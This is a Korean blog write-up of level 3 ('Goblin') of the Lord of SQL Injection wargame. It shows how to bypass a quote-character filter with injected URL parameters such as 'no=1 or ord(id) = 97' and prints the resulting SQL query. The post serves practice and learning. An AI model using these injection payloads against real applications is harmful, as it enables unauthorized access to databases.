Lord Of SQL injection [3.Goblin ]
2017. 9. 8. 18:43ㆍWebHacking/Lord of SQL injection
preg_match함수를 사용하여 ' , " , ` 등등 문자열들을 사용할 수 없도록 막아놓았다
URL: https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=1 or id=admin |
=> id 는 문자열변수이고 입력한 admin은 ' 가 없어서 문자열로 인식되지 않고 열이름이나 쿼리문으로 인식됩니다
=> 따라서 해당 쿼리문은 오류가 발생되고 실행되지 않습니다
=> 어떻게하면 ' 를 쓰지않고 문자열을 비교할 수 있을지 생각해봅시다
문자열을 숫자로 변환하여 비교하도록 합니다
ord()함수 : 문자열을 아스키코드값(10진수)으로 변환한다
URL: https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=1 or ord(id) = 97 |
ord()함수는 하나의 문자만 아스키코드로 변환합니다. 따라서 ord(id)의 값은 다음과 같습니다
ord( admin ) = ord(a) = 97
=> SELECT id FROM prob_goblin WHERE ( id='guest' and no=9999 ) or ord(id) = 97
'WebHacking > Lord of SQL injection' 카테고리의 다른 글
Lord Of SQL Injection [ 6.DarkElf ] (0) | 2017.09.08 |
---|---|
Lord Of SQL Injection [ 5. Wolfman] (0) | 2017.09.08 |
Lord Of SQL injection [ 4.Orc ] (0) | 2017.09.08 |
Lord Of SQL injection [ 2.Cobolt ] (0) | 2017.09.08 |
Lord Of SQL injection [ 1.Gremlin ] (0) | 2017.09.08 |